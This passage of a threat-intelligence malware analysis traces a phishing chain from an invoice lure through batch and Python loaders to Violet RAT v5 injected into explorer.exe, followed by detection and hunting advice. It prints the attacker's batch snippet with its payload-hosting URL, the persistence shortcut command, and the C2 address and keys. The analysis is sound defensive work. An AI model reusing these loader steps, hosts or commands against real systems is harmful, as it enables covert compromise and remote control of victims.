&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;exist&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%BASEDIR%&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;mkdir&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%BASEDIR%&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;ZIPFILE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%BASEDIR%&lt;/span&gt;\python_embed.zip
&lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;PACKAGE_ZIP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%BASEDIR%&lt;/span&gt;\files.zip
&lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;PERSISTENCE_SCRIPT&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%BASEDIR%&lt;/span&gt;\add_to_startup.bat
&lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;GETPIP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%BASEDIR%&lt;/span&gt;\get&lt;span class=&quot;na&quot;&gt;-pip&lt;/span&gt;.py
&lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;LOGFILE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%BASEDIR%&lt;/span&gt;\setup.log
&lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;SERVER_URL&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;https&lt;/span&gt;://move&lt;span class=&quot;na&quot;&gt;-friendly-international-observed&lt;/span&gt;.trycloudflare.com
&lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;PACKAGE_FILE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;files&lt;/span&gt;.zip
&lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;PERSISTENCE_FILE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;add_to_startup&lt;/span&gt;.bat
&lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;PYTHON_URL&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;https&lt;/span&gt;://www.python.org/ftp/python/&lt;span class=&quot;nv&quot;&gt;%PYTHON_VERSION%&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;/python&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%PYTHON_VERSION%&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;-embed&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%ARCH%&lt;/span&gt;.zip
&lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;GETPIP_URL&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;https&lt;/span&gt;://bootstrap.pypa.io/get&lt;span class=&quot;na&quot;&gt;-pip&lt;/span&gt;.py
......

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p class=&quot;code-caption&quot;&gt;File 4. final.bat Snippet&lt;/p&gt;

&lt;p class=&quot;space-before-sm&quot;&gt;The path is writable by the user but resembles legitimate Windows cryptographic storage, which makes it a convenient place to hide in plain sight. From there the loader installed a portable Python 3.11.8 runtime, installed the dependencies it needed, downloaded the encrypted payload package, and executed &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;encrypted_loader.py&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;These files ended up in the staging directory.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;File&lt;/th&gt;
      &lt;th&gt;Purpose&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;encrypted_loader.py&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Python shellcode loader&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;as_encrypted.bin&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;AES CBC encrypted shellcode&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;as_key.bin&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;32 byte AES key followed by a 16 byte IV&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setup.log&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Execution log written by the loader chain&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&quot;artifacts-created-during-loader-execution&quot;&gt;Artifacts Created During Loader Execution&lt;/h3&gt;

&lt;p&gt;One of the more useful artefacts recovered during sandbox analysis was &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setup.log&lt;/code&gt;, written to the staging directory.&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\setup.log
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p class=&quot;space-before-sm&quot;&gt;The log ties the whole chain together. It records the setup of the embedded Python environment, the installation of dependencies, the extraction of the loader package, the download of the persistence script, and the final execution of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;encrypted_loader.py&lt;/code&gt; against &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;as_encrypted.bin&lt;/code&gt; with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;explorer.exe&lt;/code&gt; as the injection target.&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;========================================
Execution started: Thu 04/07/2026 14:09:40.69
Working directory: C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Crypto\RSA\Cache
========================================

[+] Downloading Python...
[+] Extracting Python...
[DEBUG] Current directory: C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Crypto\RSA\Cache
[+] Installing pip...
[+] Installing psutil...
[+] Installing cryptography...
[+] Installing pyaes...

[+] Downloading loader package...
[+] Extracting package...

[+] Downloading persistence script...

[+] Checking files...
[+] All files found:
   - encrypted_loader.py
   - as_encrypted.bin
   - as_key.bin
[!] WARNING: Key file is 48 bytes (expected 48)

[+] Running loader...
Command: python encrypted_loader.py -f as_encrypted.bin explorer.exe
Execution start: 14:10:23.83
Execution end: 14:10:28.99
Exit code: 0
[+] SUCCESS: Shellcode execution completed!
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p class=&quot;code-caption&quot;&gt;File 5. setup.log&lt;/p&gt;

&lt;p class=&quot;space-before-sm&quot;&gt;For defenders, the verbose logging is valuable, confirming that Python was downloaded, dependencies were installed, the package was extracted, persistence was staged, and shellcode execution finished with exit code &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0&lt;/code&gt;.&lt;/p&gt;

&lt;h3 id=&quot;persistence&quot;&gt;Persistence&lt;/h3&gt;

&lt;p&gt;Persistence was established through the current user’s Startup folder.&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\CryptoLoader.lnk
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p class=&quot;space-before-sm&quot;&gt;The shortcut launched &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd.exe&lt;/code&gt;, changed into the staging directory, and ran the Python loader again. No registry Run key persistence was observed in this execution chain. Persistence was file-based and limited to the user profile.&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Operating System      : Windows 8.1, 10
Target File Name      : cmd.exe
Description           : Windows Crypto Loader
Relative Path         : ..\..\..\..\..\..\..\..\..\Windows\system32\cmd.exe
Command Line Arguments: /c cd /d &quot;C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Crypto\RSA\Cache&quot; &amp;amp;&amp;amp; start /b python.exe encrypted_loader.py -f as_encrypted.bin explorer.exe
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p class=&quot;code-caption&quot;&gt;Output 1. ExifTool excerpt - CryptoLoader.lnk&lt;/p&gt;

&lt;h3 id=&quot;decryption-and-injection-into-explorerexe&quot;&gt;Decryption and injection into explorer.exe&lt;/h3&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;encrypted_loader.py&lt;/code&gt; read two local files, the AES CBC encrypted shellcode in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;as_encrypted.bin&lt;/code&gt; and the key material in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;as_key.bin&lt;/code&gt; (the 32 byte key plus 16 byte IV). After decryption, the loader identified the running &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;explorer.exe&lt;/code&gt; process and used standard Windows process injection APIs, allocating remote memory, writing the process memory, and creating a remote thread.&lt;/p&gt;

&lt;p&gt;The decrypted shellcode was identified as a Donut payload, which loaded the embedded Violet RAT v5 .NET assembly directly into memory. Donut is a shellcode generator commonly used to execute .NET assemblies and other payloads in-memory without writing the final stage to disk. To inspect and extract the embedded payload, we used the &lt;a href=&quot;https://github.com/volexity/donut-decryptor&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;donut-decryptor&lt;/a&gt; tool published by Volexity.&lt;/p&gt;

&lt;h3 id=&quot;violet-rat-v5-as-the-final-payload&quot;&gt;Violet RAT v5 as the final payload&lt;/h3&gt;

&lt;p&gt;The decompiled Violet RAT v5 stub contained several high-signal artifacts.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Artifact&lt;/th&gt;
      &lt;th&gt;Value&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;C2 IP&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;91.219.238[.]140&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;C2 port&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;7000/TCP&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Internal version&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Violet v5&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Mutex&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LApYAYSFOShHukHW&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Protocol delimiter&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;Violet&amp;gt;&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;C2 packet label&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;INFO&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Heartbeat&lt;/td&gt;
      &lt;td&gt;Client sends &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PING?&lt;/code&gt;, server responds &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PING!&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;C2 encryption&lt;/td&gt;
      &lt;td&gt;AES/Rijndael ECB using a key derived from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;XSXSXSX&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;XOR key&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TIeuNzM&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p class=&quot;space-before-sm&quot;&gt;The initial C2 message contained a full system profile, including user name, operating system, privilege state, antivirus status, and the internal RAT version. The observed decrypted traffic confirmed successful communication with the C2 server during analysis.&lt;/p&gt;

&lt;p&gt;The client to server message looked like this.&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;INFO&amp;lt;Violet&amp;gt;XXXXXXXXXXXXXXXXXXXX&amp;lt;Violet&amp;gt;Admin&amp;lt;Violet&amp;gt;Windows 11 Pro 64bit&amp;lt;Violet&amp;gt;Violet v5
&amp;lt;Violet&amp;gt;22/03/2022&amp;lt;Violet&amp;gt;True&amp;lt;Violet&amp;gt;False&amp;lt;Violet&amp;gt;None&amp;lt;Violet&amp;gt;Nothing&amp;lt;Violet&amp;gt;Nothing
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p class=&quot;space-before-sm&quot;&gt;Subsequent outbound traffic was the periodic heartbeat, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PING?&lt;/code&gt; from the client answered with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PING!&lt;/code&gt; from the server. The date value &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;22/03/2022&lt;/code&gt; in the decrypted client profile appears to reflect host-derived operating system installation information and should not be interpreted as a campaign timestamp.&lt;/p&gt;

&lt;p&gt;Violet RAT v5 is advertised as a commercial remote administration tool by the developer using the handle &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@n0xi0s&lt;/code&gt;, on websites such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;violetrat[.]net&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;violetsoftware[.]net&lt;/code&gt;. Although the author presents Violet RAT v5 as dual-use software, its functionality aligns more closely with an offensive remote access tool than with legitimate administrative tooling. In the campaign analyzed here, Violet RAT v5 was used as the final payload in a phishing-driven malware chain.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;detection-and-hunting-opportunities&quot;&gt;Detection and hunting opportunities&lt;/h2&gt;

&lt;p&gt;The observed execution chain provides defenders with several hunting opportunities across network, host, and filesystem telemetry. The most durable detections are behavioural. Single domains and IP addresses change quickly, but the behavioural sequence from shortcut execution to WebDAV access, script staging, Python execution, and process injection is harder to replace without reworking the operation.&lt;/p&gt;

&lt;h3 id=&quot;network&quot;&gt;Network&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Connections to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;91.219.238[.]140:7000/TCP&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Access to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;*.trycloudflare.com&lt;/code&gt; using WebDAV-style paths&lt;/li&gt;
  &lt;li&gt;Windows clients accessing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DavWWWRoot&lt;/code&gt; over HTTPS from Explorer or script hosts&lt;/li&gt;
  &lt;li&gt;Dropbox downloads followed by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.url&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.lnk&lt;/code&gt; execution&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;host&quot;&gt;Host&lt;/h3&gt;

&lt;p&gt;High signal process patterns&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;explorer.exe -&amp;gt; wscript.exe
wscript.exe -&amp;gt; cmd.exe
wscript.exe -&amp;gt; powershell.exe
cmd.exe -&amp;gt; powershell.exe -WindowStyle Hidden
cmd.exe -&amp;gt; python.exe
python.exe -&amp;gt; explorer.exe injection indicators
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p class=&quot;space-before-sm&quot;&gt;Additional behavioural detections&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.url&lt;/code&gt; files opening remote &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file://&lt;/code&gt; paths with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@SSL&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DavWWWRoot&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.lnk&lt;/code&gt; files with PDF masquerading that execute &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wscript.exe&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Script execution from WebDAV UNC paths&lt;/li&gt;
  &lt;li&gt;Portable Python runtimes installed below user-writable directories that resemble Windows system paths&lt;/li&gt;
  &lt;li&gt;Startup folder shortcuts launching command interpreters or Python loaders&lt;/li&gt;
  &lt;li&gt;Remote thread creation into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;explorer.exe&lt;/code&gt; from a Python process&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;filesystem&quot;&gt;Filesystem&lt;/h3&gt;

&lt;p&gt;Observed paths and files&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;%TEMP%\r.bat
%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\
%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\encrypted_loader.py
%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\as_encrypted.bin
%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\as_key.bin
%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\setup.log
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\CryptoLoader.lnk
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;attck-techniques&quot;&gt;ATT&amp;amp;CK techniques&lt;/h2&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Tactic&lt;/th&gt;
      &lt;th&gt;Technique&lt;/th&gt;
      &lt;th&gt;Observed behaviour&lt;/th&gt;
      &lt;th&gt;Detection idea&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Initial Access&lt;/td&gt;
      &lt;td&gt;Phishing: Spearphishing Link (T1566.002)&lt;/td&gt;
      &lt;td&gt;Telekom invoice lure delivered a Dropbox link to a ZIP archive&lt;/td&gt;
      &lt;td&gt;Cloud links delivering shortcut files or document-themed archives&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Execution&lt;/td&gt;
      &lt;td&gt;User Execution: Malicious Link (T1204.001)&lt;/td&gt;
      &lt;td&gt;Victim opened a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.url&lt;/code&gt; file that reached WebDAV&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.url&lt;/code&gt; execution opening remote &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file://&lt;/code&gt; paths&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Execution&lt;/td&gt;
      &lt;td&gt;User Execution: Malicious File (T1204.002)&lt;/td&gt;
      &lt;td&gt;Victim opened a PDF-themed &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.lnk&lt;/code&gt; file&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.lnk&lt;/code&gt; files with document extensions and script interpreter targets&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Execution&lt;/td&gt;
      &lt;td&gt;Command and Scripting Interpreter: JScript (T1059.007)&lt;/td&gt;
      &lt;td&gt;JScript ran through WSH&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wscript.exe&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cscript.exe&lt;/code&gt; launched from WebDAV or user-writable paths&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Execution&lt;/td&gt;
      &lt;td&gt;Command and Scripting Interpreter: Windows Command Shell (T1059.003)&lt;/td&gt;
      &lt;td&gt;Batch scripts launched the next stage&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd.exe&lt;/code&gt; spawning interpreters or scripts from user-writable directories&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Execution&lt;/td&gt;
      &lt;td&gt;Command and Scripting Interpreter: PowerShell (T1059.001)&lt;/td&gt;
      &lt;td&gt;PowerShell was used during the chain&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;powershell.exe&lt;/code&gt; with encoded or download commands spawned by scripts&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Execution&lt;/td&gt;
      &lt;td&gt;Command and Scripting Interpreter: Python (T1059.006)&lt;/td&gt;
      &lt;td&gt;A Python runtime ran the loader&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;python.exe&lt;/code&gt; running scripts from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%APPDATA%&lt;/code&gt; or temp&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Command and Control&lt;/td&gt;
      &lt;td&gt;Ingress Tool Transfer (T1105)&lt;/td&gt;
      &lt;td&gt;Payload components were retrieved from WebDAV and public hosting during execution&lt;/td&gt;
      &lt;td&gt;Downloads of portable Python followed by script execution from user-writable paths&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Defense Evasion&lt;/td&gt;
      &lt;td&gt;Masquerading: Double File Extension (T1036.007)&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DKM_00KS0095283.PDF.lnk&lt;/code&gt; used a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.PDF.lnk&lt;/code&gt; double extension&lt;/td&gt;
      &lt;td&gt;Files with double extensions such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.pdf.lnk&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.pdf.exe&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Defense Evasion&lt;/td&gt;
      &lt;td&gt;Masquerading: Masquerade File Type (T1036.008)&lt;/td&gt;
      &lt;td&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.lnk&lt;/code&gt; used a PDF-themed name and icon&lt;/td&gt;
      &lt;td&gt;Shortcut or executable files using document icons&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Persistence&lt;/td&gt;
      &lt;td&gt;Boot or Logon Autostart Execution: Startup Folder (T1547.001)&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CryptoLoader.lnk&lt;/code&gt; was placed in the user’s Startup folder&lt;/td&gt;
      &lt;td&gt;Startup shortcuts launching &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd.exe&lt;/code&gt;, Python, or scripts from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%APPDATA%&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Defense Evasion&lt;/td&gt;
      &lt;td&gt;Deobfuscate/Decode Files or Information (T1140)&lt;/td&gt;
      &lt;td&gt;AES encrypted shellcode was decrypted locally using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;as_key.bin&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Encrypted payload plus separate key material in suspicious user paths&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Defense Evasion&lt;/td&gt;
      &lt;td&gt;Reflective Code Loading (T1620)&lt;/td&gt;
      &lt;td&gt;Donut loaded the embedded .NET assembly in-memory&lt;/td&gt;
      &lt;td&gt;Memory loaded .NET payloads with no final executable on disk&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Defense Evasion&lt;/td&gt;
      &lt;td&gt;Process Injection (T1055)&lt;/td&gt;
      &lt;td&gt;Python loader injected Donut packed shellcode into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;explorer.exe&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Python process using remote memory operations against Explorer&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Command and Control&lt;/td&gt;
      &lt;td&gt;Non-Standard Port (T1571)&lt;/td&gt;
      &lt;td&gt;Violet RAT v5 connected to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;91.219.238[.]140:7000&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Outbound TCP to uncommon ports from user workstations&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Command and Control&lt;/td&gt;
      &lt;td&gt;Encrypted Channel (T1573)&lt;/td&gt;
      &lt;td&gt;Violet RAT v5 used encrypted C2 messages and heartbeat traffic&lt;/td&gt;
      &lt;td&gt;Repeated encrypted traffic with stable timing to an unusual destination&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;recommendations&quot;&gt;Recommendations&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;Hunt for execution through WebDAV from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.url&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.lnk&lt;/code&gt; files, especially paths using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DavWWWRoot&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;*.trycloudflare.com&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;Monitor script chains involving &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wscript.exe&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cscript.exe&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;powershell.exe&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd.exe&lt;/code&gt;, and portable Python runtimes launched from user-writable directories.&lt;/li&gt;
